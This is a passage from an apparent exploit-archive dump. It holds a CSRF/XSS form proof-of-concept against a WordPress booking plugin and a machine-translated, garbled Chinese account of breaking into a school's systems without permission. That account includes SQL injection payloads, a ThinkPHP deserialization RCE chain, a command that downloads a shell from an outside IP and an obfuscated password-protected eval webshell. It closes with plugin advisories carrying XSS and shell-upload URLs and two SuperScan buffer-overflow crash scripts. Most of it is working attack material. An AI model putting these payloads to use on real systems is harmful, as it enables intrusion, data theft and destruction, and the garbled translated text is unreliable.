service<script>alert(1)</script>"> <input type="hidden" name="uxServiceCost" value="0"> <input type="hidden" name="uxServiceType" value="0"> <input type="hidden" name="uxMaxBookings" value="1"> <input type="hidden" name="uxFullDayService" value=""> <input type="hidden" name="uxMaxDays" value="1"> <input type="hidden" name="uxCostType" value="0"> <input type="hidden" name="uxServiceHours" value="00"> <input type="hidden" name="uxServiceMins" value="30"> <input type="hidden" name="uxStartTimeHours" value="9"> <input type="hidden" name="uxStartTimeMins" value="0"> <input type="hidden" name="uxStartTimeAMPM" value="AM"> <input type="hidden" name="uxEndTimeHours" value="5"> <input type="hidden" name="uxEndTimeMins" value="0"> <input type="hidden" name="uxEndTimeAMPM" value="PM"> <input type="hidden" name="param" value="addService"> <input type="hidden" name="action" value="dashboardLibrary"> <input type="submit" value="Add Service"> </form> Add Block Out <form method="post" action="http://www.example.com/wp-admin/admin-ajax.php";> <input type="hidden" name="uxExceptionsServices" value="4"> <input type="hidden" name="uxExceptionsIntervals" value="1"> <input type="hidden" name="uxExceptionsRepeatDay" value="1"> <input type="hidden" name="uxExceptionsStartsOn" value=""> <input type="hidden" name="uxExceptionsStartTimeHours" value="09"> <input type="hidden" name="uxExceptionsStartTimeMins" value="00"> <input type="hidden" name="uxExceptionsStartTimeAMPM" value="AM"> <input type="hidden" name="uxExceptionsEndTimeHours" value="05"> <input type="hidden" name="uxExceptionsEndTimeMins" value="00"> <input type="hidden" name="uxExceptionsEndTimeAMPM" value="PM"> <input type="hidden" name="uxExceptionsDay" value="0"> <input type="hidden" name="uxExceptionsDayEndsOn" value=""> <input type="hidden" name="uxExceptionsWeekDay1" value="Sun"> <input type="hidden" name="uxExceptionsWeekDay2" value="Wed"> <input type="hidden" name="uxExceptionsRepeatWeeks" value="9"> <input type="hidden" name="uxExceptionsWeekStartsOn" value="2013-08-22"> <input type="hidden" name="uxExceptionsWeekStartTimeHours" value="09"> <input type="hidden" name="uxExceptionsWeekStartTimeMins" value="00"> <input type="hidden" name="uxExceptionsWeekStartTimeAMPM" value="AM"> <input type="hidden" name="uxExceptionsWeekEndTimeHours" value="05"> <input type="hidden" name="uxExceptionsWeekEndTimeMins" value="00"> <input type="hidden" name="uxExceptionsWeekEndTimeAMPM" value="PM"> <input type="hidden" name="uxExceptionsWeek" value="0"> <input type="hidden" name="uxExceptionsWeekEndsOn" value=""> <input type="hidden" name="param" value="insertExceptionWeeks"> <input type="hidden" name="action" value="dashboardLibrary"> <input type="submit" value="Add Block Out"> </form> Add Cupon <form method="post" action="http://www.example.com/wp-admin/admin-ajax.php";> <input type="hidden" name="uxDefaultCoupon" value="XSS<script>alert('xss')</script>"> <input type="hidden" name="uxValidFrom" value="2013-08-15"> <input type="hidden" name="uxValidUpto" value="2013-08-22"> <input type="hidden" name="uxAmount" value="50"> <input type="hidden" name="uxDdlAmountType" value="1"> <input type="hidden" name="uxApplicableOnAllProducts" value="1"> <input type="hidden" name="uxDdlBookingServices" value="4"> <input type="hidden" name="param" value="addCoupons"> <input type="hidden" name="action" value="dashboardLibrary"> <input type="submit" value="Add Cupon"> </form> Default Settings <form method="post" action="http://www.example.com/wp-admin/admin-ajax.php";> <input type="hidden" name="uxDdlDefaultCurrency" value="United States Dollar"> <input type="hidden" name="uxDdlDefaultCountry" value="United States of America"> <input type="hidden" name="uxDefaultDateFormat" value="0"> <input type="hidden" name="uxDefaultTimeFormat" value="0"> <input type="hidden" name="uxDefaultTimeZone" value="-5.0"> <input type="hidden" name="uxServiceDisplayFormat" value="0"> <input type="hidden" name="param" value="updateGeneralSettings"> <input type="hidden" name="action" value="dashboardLibrary"> <input type="submit" value="Default Settings"> </form> Reminder Settings <form method="post" action="http://www.example.com/wp-admin/admin-ajax.php";> <input type="hidden" name="uxReminderSettings" value="1"> <input type="hidden" name="uxReminderInterval" value="1 hour"> <input type="hidden" name="param" value="UpdateReminderSettings"> <input type="hidden" name="action" value="dashboardLibrary"> <input type="submit" value="Reminder Settings"> </form> PayPal Settings <form method="post" action="http://www.example.com/wp-admin/admin-ajax.php";> Email: <input type="text" name="uxMerchantEmailAddress" placeholder="enter your PayPal email here"> <input type="hidden" name="uxPayPal" value="1"> <input type="hidden" name="uxPayPalUrl" value="https://paypal.com/cgi-bin/webscr";> <input type="hidden" name="uxThankyouPageUrl" value="http://google.com";> <input type="hidden" name="uxCancellationUrl" value="http://google.com";> <input type="hidden" name="param" value="UpdatePaymentGateway"> <input type="hidden" name="action" value="dashboardLibrary"> <input type="submit" value="PayPal Settings"> </form> Mailchimp Settings <form method="post" action="http://www.example.com/wp-admin/admin-ajax.php";> <input type="hidden" name="uxMailChimp" value="1"> <input type="hidden" name="uxMailChimpApiKey" value="12345678"> <input type="hidden" name="uxMailChimpUniqueId" value="87654321"> <input type="hidden" name="uxDoubleOptIn" value="false"> <input type="hidden" name="uxWelcomeEmail" value="false"> <input type="hidden" name="param" value="UpdateAutoResponder"> <input type="hidden" name="action" value="dashboardLibrary"> <input type="submit" value="Mailchimp Settings"> </form> Facebook Connect <form method="post" action="http://www.example.com/wp-admin/admin-ajax.php";> <input type="hidden" name="uxFacebookConnect" value="1"> <input type="hidden" name="uxFacebookAppId" value="12345678"> <input type="hidden" name="uxFacebookSecretKey" value="87654321"> <input type="hidden" name="param" value="UpdateFacebookSocialMedia"> <input type="hidden" name="action" value="dashboardLibrary"> <input type="submit" value="Facebook Connect"> </form> Auto Approve <form method="post" action="http://www.example.com/wp-admin/admin-ajax.php";> <input type="hidden" name="uxAutoApprove" value="1"> <input type="hidden" name="param" value="AutoApprove"> <input type="hidden" name="action" value="dashboardLibrary"> <input type="submit" value="Auto Approve"> </form> Delete All Bookings <form method="post" action="http://www.example.com/wp-admin/admin-ajax.php";> <input type="hidden" name="param" value="DeleteAllBookings"> <input type="hidden" name="action" value="dashboardLibrary"> <input type="submit" value="Delete All Bookings"> </form> Restore Factory Settings <form method="post" action="http://www.example.com/wp-admin/admin-ajax.php";> <input type="hidden" name="param" value="RestoreFactorySettings"> <input type="hidden" name="action" value="dashboardLibrary"> <input type="submit" value="Restore Factory Settings"> </form>
  20. 0x01はじめに 流行により、学校のYibanアプリはチェックインシステムを追加しました。これには、毎日朝の検査と午後の検査が必要です。忘れてしまうと、レビューする何千もの単語があります。 私はこの「形式主義」に深く不満を感じています。私はたまたまサイバーセキュリティチームを設立したので、それを操作する準備をしました。 0x02スポット 基本情報収集についてはあまり言いません したがって、異なるシステムは複数のサーバーを使用します それは完全に解決できないようです。コアシステムを獲得するには、さまざまなシステムとサーバーの素晴らしい学校システムの浸透の旅が必要です。 次に、コアシステムにタッチします まず、「Yiban」システムのホームページを開き、これがどのように見えるかです 開発者がTPフレームワークを使用し、さまざまなTP注射をテストしたことを確認することは難しくありません。 RCEのペイロードは失敗に終わりました、そして、安全性の認識はそれほど悪くないようです ドメイン名の下のホームページは、機能的なポイントや情報なしで完全にエラー報告ページです saying sayingにあるように、情報収集の品質は浸透の成功または失敗を直接決定するので、私たちは決して不注意であってはなりません。 最初にファズの第1レベルのディレクトリに来てみましょう 結果は非常に優れており、多くのカタログと機能ポイントがあります。 次に、各第1レベルのディレクトリのセカンダリディレクトリを曖昧にし続け、ドメイン名の下に展開されている機能ポイントを常に探求しました。 第1レベルのディレクトリが多すぎるため、詳細については写真には行きません。 機能的なポイントを理解した後、ズボンを脱いで乾燥を開始します 0x03メンタルヘルスシステムの浸透(IISショートファイル名ポートポート - ブラストニューログインポートアプロード) 第1レベルのカタログを爆破し、爆破します http://xxx.xxx.edu.cn/psyこのパス 心理教育の健康システムが展開され、ミドルウェアがIISであることがわかった ただし、メンタルヘルスシステムのログインには検証コードメカニズムがあり、検証コードを識別するのは簡単ではありません 私はすぐにIISショートファイル名機能について考えました 次に、IISショートファイル名ディレクトリスキャンツールを使用します (https://github.com/lijiejie/iis_shortname_scanner)スキャン用 他のシステムの古いログインポートを取得します http://xxx.xxx.edu.cn/psy/login2.aspx 図に示されているように、検証コードメカニズムはありません 直接げっぷクラスター爆弾型爆発 他のシステムの弱いパスワード管理者AA123456を正常に取得しました ただし、古いシステムの他のページが削除されており、通常はバックグラウンドにログインできません しかし、古いシステムと新しいシステムで使用されているのと同じデータベースが推測されています 新しいシステムへのアクセス http://xxx.xxx.edu.cn/psy/login.aspx パスワード管理者、AA123456を使用して、正常にログインします バックグラウンドでアップロードポイントを検索します アップロードポイントはです http://xxx.xxx.edu.cn/psy/scalemanage/scaleedit.aspx?scalelistid=1 スケールプラットフォームに追加されたトピックは、任意のファイルにアップロードされます (そうです、このアップロードポイント.それは非常に隠されていると言えます.それを見つけるのに長い時間がかかりました) ASPXのアップロードは不可解にジャンプします。 ASPは解析せず、ASMX馬を直接通過します。 AWVS 10のデバッグモジュールを介してコマンドを実行します 許可はネットサービスです CobaltStrikeを使用して、PowerShellを直接POWERSHELLに移動します パッチは死んでいるようです。 さまざまな地元の権利昇進が一度開始されましたが、役に立たなかった comコンポーネントは、ジャガイモが装着された後も育てることさえできません。最初にこれをしましょう。右を上げる場合は、追加してください。 メンタルヘルスシステムは、初期の買収を発表しました 0x04ライブブロードキャストシステムインターフェイスインジェクション ライブブロードキャストシステムに入った後、使用する意味がなく、開発はまだ完了していないことがわかりました。 しかし、げっぷで、私はajaxインターフェイスのリクエストを見つけました、 HTTPリクエストは次のように:です post /index.php/live/index/seat_ajax.html http/1.1 host: xxx.xxx.edu.cn Content-Length: 24 Accept:/ Origin:http://xxx.xxx.edu.cn X-Requested With: xmlhttprequest user-agent: mozilla/5.0(linux; u; android 5.1; zh-cn; 1501_m02 build/lmy47d)applewebkit/534.30(khtml、ygecko)バージョン/4.0 ucbrowser/11.0.0.0.818 U3/0.8.0モバイルSaf/534.30 Content-Type:アプリケーション/x-www-form-urlencoded; charset=utf-8 Referer:http://xxx.xxx.edu.cn/index.php/live/index/seat?place_id=10active_id=20 Accept-Encoding: gzip、deflate Accept-Language: ZH-CN、ZH; Q=0.9、EN; Q=0.8 Cookie3360 ASP.NET_SESSIONID=S0CLWRGINZ0RW3X0SMTWTSGG; phpsessid=7985bf0a5f38e5922a651ac1f4ef9b1a; phpsessid=7985bf0a5f38e5922a651ac1f4ef9b1a Connection:閉じます place_id=10active_id=20 sqliペイロードを見つけるためにファズをします 両方のIDパラメーターには、組合注入があります ペイロードを構築します )null、null、null、null、null()、null、null、null、null、null、null、null、null、null、null、null、null、null、null、null、null、null、null、null - null、null、null、null、null、null、null、 図に示すように、current_user情報が正常に取得されました。 '_root@10.40.0.22 ペイロードを構築します place_id=10)null、null、null、null、group_concat(schema_name)、null、null、null、null、null、null、null、null、null、null、null、null、null、null、null from information _schema.schemata-- ne neqyactive_id=20 ここでは、他のテーブル、列、データを実証しません。文を書いても大丈夫です、それはとても簡単です。 その後、他のシステムに多くのライブラリが関与していることがわかりましたが、私が最も望んでいたコアシステムのライブラリは見つかりませんでした。 0x05鈍いb64アップロード ファズ関数ポイントの後、私は許可なしに写真をアップロードできる場所を見つけました http://xxx.xxx.edu.cn/v4/public/weui/demo/form12.html data:image/jpegが発見されたときにjpeg画像をアップロードします データをImage/PHPに直接変更し、アップロードされたコンテンツBase64をエンコードして送信します GetShellが成功し、システムの許可、権利のエスカレーションが救われました 0x06コアシステム素晴らしい浸透(nday desarialization +コマンド実行バイパス +条件付き競争の膨張) 検索、寒くて捨てられた、悲惨で悲惨な、最終的に「Yiban」を制御するコアシステムを見つけました http://xxx.xxx.edu.cn/v4/public/index.php/admin/login.html?s=admin/api.update/tree 勝利はあなたの目の前にあります.あなたは眠らないとしても彼を殺さなければなりません あらゆる種類のファズとさまざまな操作が一緒に配置されましたが、私はそれが役に立たないことがわかりました、そして、私はまだ毎日行きませんでした。 あきらめるべきですか?不可能、これは私たちのスタイルではありません ページJSを注意深くチェックしていたとき、私はそのような興味深い情報を見つけました 私の目が明るくなりました、いまいましいシンカドミン、前に洗練されたnadがありました、それを手配しましょう! http://xxx.xxx.edu.cn/v4/public/index.php/admin/login.html?s=admin/api.update/tree Postdata: ルール=a%3a2%3a%7bi%3a0%3bo%3a17%3a%22think%5cmodel%5cpivot%22%3a11%3a%7bs%3a21%3a%22%00think%5cmodel%00 lazysave%22% 3a1%3bs%3a19%3a%22%00think%5cmodel%00 exists%22%3bb%3a1%3bs%3a13%3a%22%00think%5cmodel% 2%00%2a%00 -connection%22%3bs%3a5%3a%22Mysql%22%3bs%3a7%3a%22%00%2a%00Name%22%3BO%3a17%3a%22thi nk%5cmodel%5cpivot%22%3a11%3a%7bs%3a21%3a%22%00think%5cmodel%00 lazysave%22%3bb%3a1%3bs%3a19%3a %22%00think%5cmodel%00 Exists%22%3bb%3a1%3bs%3a13%3a%22%00%2a%00connection%22%3bs%3a5%3a%22mys QL%22%3bs%3a7%3a%22%00%2a%00Name%22%3bs%3a0%3a%22%22%3bs%3a21%3a%22%00think%5cmodel%00withattr %22%3BA%3a1%3a%7bs%3a4%3a%22test%22%3bs%3a6%3a%22System%22%3b%7ds%3a9%3a%22%00%2a%00hidden%22 %3BA%3a1%3a%7bs%3a4%3a%22test%22%3bs%3a3%3a%22123%22%3b%7ds%3a17%3a%22%00think%5cmodel%00data% 22%3BA%3a1%3a%7bs%3a4%3a%22test%22%3bs%3a6%3a%22whoami%22%3b%7ds%3a12%3a%22%00%2a%00withent %22%3bb%3a0%3bs%3a18%3a%22%00think%5cmodel%00フォース%22%3bb%3a1%3bs%3a8%3a%22%00%2a Ba%3a0%3a%7b%7ds%3a9%3a%22%00%2a%00schema%22%3ba%3a0%3a%7b%7d%7ds%3a21%3a%22%00think%5cmodel% 00 withattr%22%3ba%3a1%3a%7bs%3a4%3a%22test%22%3bs%3a6%3a%22%22%3b%7ds%3a9%3a%22%00%2a%00隠し%22%3BA%3a1%3a%7bs%3a4%3a%22test%22%3bs%3a3%3a%22123%22%3b%7ds%3a17%3a%22%00think%5cmod EL%00DATA%22%3BA%3a1%3a%7bs%3a4%3a%22test%22%3bs%3a6%3a%22whoami%22%3b%7ds%3a12%3a%22%00%2a%00 withevent%22%3bb%3a0%3bs%3a18%3a%22%00think%5cmodel%00force%22%3bb%3a1%3bs%3a8%3a%22%00%2a%00f IELD%22%3BA%3a0%3a%7b%7ds%3a9%3a%22%00%2a%00schema%22%3ba%3a0%3a%7b%7d%7di%3a1%3bi%3a123%3b%7d //hoamiを実行します 以下は、次のように脱審上のポップチェーンです ?php 名前空間思考; Think \ model \ pivotを使用してください。 抽象クラスモデル{ private $ lazysave=false; # 保存() private $が存在する=false; #updatedata() 保護された$接続。 保護された$ name; #__toString()conversion.php=pivot private $ with withattr=[]; #アサート 保護された$ hidden=[]; private $ data=[]; 保護$ withevent=false; private $ force=false; 保護された$ field=[]; 保護された$ schema=[]; function __construct(){ $ this-lazysave=true; $ this-exists=true; $ this-withevent=false; $ this-force=true; $ this-connection='mysql'; $ this-withattr=['test'='system']; $ this-data=['test'='whoami']; $ this-hidden=['test'='123']; $ this-field=[]; $ this-schema=[]; } } 名前空間Think \ Model; Think \ Modelを使用してください。 \#モデルは抽象クラスです。その継承クラスを見つけます。ここでは、ピボットクラスを選択します クラスピボットはモデルを拡張します{ function __construct($ obj=''){ parent:__construct(); $ this-name=$ obj; #$ This-nameは値をサブクラスコンストラクターに入れ、ベースクラス属性を直接配置して成功せずに初期化します } } $ a=new Pivot(); echo urlencode(serialize([new pivot($ a)、123])); 許可はシステムです、ハハハハハハハ、神も私を助けてくれます しかし、私はEchoコマンドを使用してシェルを書くことに多くの問題に遭遇しました コマンドはスペースを持つことができず、シェルはコマンドに直接記述されます。そうしないと、エラーが報告されます。 スペースは +に変換され、バックエンドはそれを認識できません 永続的な手動テストの後、 /\はスペースの限界をバイパスできることがわかります 次に、スプライシングコマンドを使用して、書き込み検出をバイパスすることを実現します しかし、ターゲットマシンにはWAFがあり、数秒後に通常のウェブシェルが殺されます。 なぜだめですか?条件付き競争を通じて直接殺さずにウェブシェルをダウンロードしてください コンストラクターは、条件付き競争を通じて殺すことなくシェルをダウンロードします echo/^^?phps1.phpecho/file_put_contents( 's2.php'、file_get_contents( 'http://49.x.x.x:8080/shell.txt'));^gt; gt; gt; s2.php シェルの内容は次のとおりです ?php 関数テスト($ php_c0d3){ $ password='skr'; //envpwd $ cr=preg_filter( '/\ s+/'、 ''、 'c h r'); $ bs64=preg_filter( '/\ s+/'、 ''、 'bas e64 _de cod e'); $ gzi=$ cr(103)。$ cr(122)。$ cr(105)。$ cr(110); $ gzi。=$ cr(102)。$ cr(108)。$ cr(97)。$ cr(116)。$ cr(101); $ c=$ bs64($ php_c0d3); $ c=$ gzi($ c); @eval($ c); } $ php_c0d3='s0lny8xl1vavzkjnyslilc5w11ebuex'。 '5RSMA1RXCKGWZEWM2KVFBROGHRSEH0UOGVLISUC'。 'yztqmiaatumvqspfnny1wqarli1wbpraxi1lleh'。 'a2exrgdszrwaa=='; テスト($ php_c0d3); ?ポップチェーンの降下により、ポストダタを生成します 直接電話してください http://xxx.xxx.edu.cn/v4/public/s2.php パスワードSKR 直接取ってください 最後に、このチェックイン、レイトコール、出席コアシステム、管理者がライブラリに入り、管理者のパスワードを復号化しました くそー、あなたはまだ私にレビューを書いてほしいですか?行ってたわごとを食べてください
  21. source: https://www.securityfocus.com/bid/62458/info The RokNewsPager plugin for WordPress is prone to multiple security vulnerabilities, including: 1. An information-disclosure vulnerability 2. A cross-site scripting vulnerability 3. An arbitrary file-upload vulnerability 4. A denial-of-service vulnerability Attackers can exploit these issues to obtain sensitive information, upload arbitrary files, perform a denial-of-service attack, execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. http://www.example.com/wp-content/plugins/wp_roknewspager/thumb.php?src=%3Cbody%20onload=alert(document.cookie)%3E.jpg http://www.example.com/wp-content/plugins/wp_roknewspager/thumb.php?src=http:// http://www.example.com/wp-content/plugins/wp_roknewspager/thumb.php?src=http://www.example.com/big_file&h=1&w=1 http://www.example.com/wp-content/plugins/wp_roknewspager/thumb.php?src=http://www.example2.com/shell.php
  22. source: https://www.securityfocus.com/bid/62438/info mukioplayer4wp for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. mukioplayer4wp 1.6 is vulnerable; other versions may also be affected. http://www.example.com/videos/wp-content/plugins/mukioplayer-for-wordpress/php-scripts/get.php?cid=71866877%27
  23. source: https://www.securityfocus.com/bid/62459/info The RokStories plugin for WordPress is prone to multiple security vulnerabilities, including: 1. An arbitrary file-upload vulnerability 2. A cross-site scripting vulnerability 3. An information-disclosure vulnerability 4. A denial-of-service vulnerability Attackers can exploit these issues to obtain sensitive information, upload arbitrary files, perform a denial-of-service attack, execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. RokStories 1.25 is vulnerable; other versions may also be affected. http://www.example.com/wp-content/plugins/wp_rokstories/thumb.php?src=%3Cbody%20onload=alert(document.cookie)%3E.jpg http://www.example.com/wp-content/plugins/wp_rokstories/thumb.php?src=http:// http://www.example.com/wp-content/plugins/wp_rokstories/thumb.php?src=http://www.example.com/big_file&h=1&w=1 http://www.example.com/wp-content/plugins/wp_rokstories/thumb.php?src=http://www.example2.com/shell.php
  24. #!/usr/bin/env python # -*- coding: utf-8 -*- # Exploit Title : SuperScan 4.1 Scan Hostname/IP Field Buffer Overflow Crash PoC # Discovery by : Luis Martínez # Email : l4m5@hotmail.com # Discovery Date : 18/11/2015 # Vendor Homepage : http://www.foundstone.com # Software Link : http://www.mcafee.com/us/downloads/free-tools/superscan.aspx # Tested Version : 4.1 # Vulnerability Type : Denial of Service (DoS) Local # Tested on OS : Windows XP Professional SP3 x86 es # Steps to Produce the Crash: # 1.- Run python code : python super_scan_4.1.py # 2.- Open super_scan_4.1.txt and copy content to clipboard # 3.- Open SuperScan4.1.exe # 4.- Paste Clipboard Scan > Hostname/IP # 5.- Clic on add button (->) # 6.- Crashed buffer = "\x41" * 636 eip = "\x42" * 4 f = open ("super_scan_4.1.txt", "w") f.write(buffer + eip) f.close()
  25. #!/usr/bin/env python # -*- coding: utf-8 -*- # Exploit Title : SuperScan 4.1 Windows Enumeration Hostname/IP/URL Field SEH Overflow Crash PoC # Discovery by : Luis Martínez # Email : l4m5@hotmail.com # Discovery Date : 18/11/2015 # Vendor Homepage : http://www.foundstone.com # Software Link : http://www.mcafee.com/us/downloads/free-tools/superscan.aspx # Tested Version : 4.1 # Vulnerability Type : Denial of Service (DoS) Local # Tested on OS : Windows XP Professional SP3 x86 es # Steps to Produce the Crash: # 1.- Run python code : python super_scan_4.1_windows_enumeration.py # 2.- Open super_scan_4.1_windows_enumeration.txt and copy content to clipboard # 3.- Open SuperScan4.1.exe # 4.- Paste Clipboard Windows Enumeration > Hostname/IP/URL # 5.- Clic on button -> Enumerate # 6.- Crashed ########################################################################################## # -----------------------------------NOTES----------------------------------------------# ########################################################################################## # After the execution of POC, the SEH chain looks like this: # 00E3FF98 43434343 # 42424242 *** CORRUPT ENTRY *** # And the Stack #00E3FF88 41414141 AAAA #00E3FF8C 41414141 AAAA #00E3FF90 41414141 AAAA #00E3FF94 41414141 AAAA #00E3FF98 42424242 BBBB Pointer to next SEH record #00E3FF9C 43434343 CCCC SE handler # And the Registers #EAX 00000001 #ECX 00000001 #EDX 7C91E514 ntdll.KiFastSystemCallRet #EBX 00A028E8 #ESP 00E3FF58 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC" #EBP 41414141 #ESI 00473774 SuperSca.00473774 #EDI 00000000 #EIP 41414141 buffer = "\x41" * 328 nseh = "\x42" * 4 seh = "\x43" * 4 f = open ("super_scan_4.1_windows_enumeration.txt", "w") f.write(buffer + nseh + seh) f.close()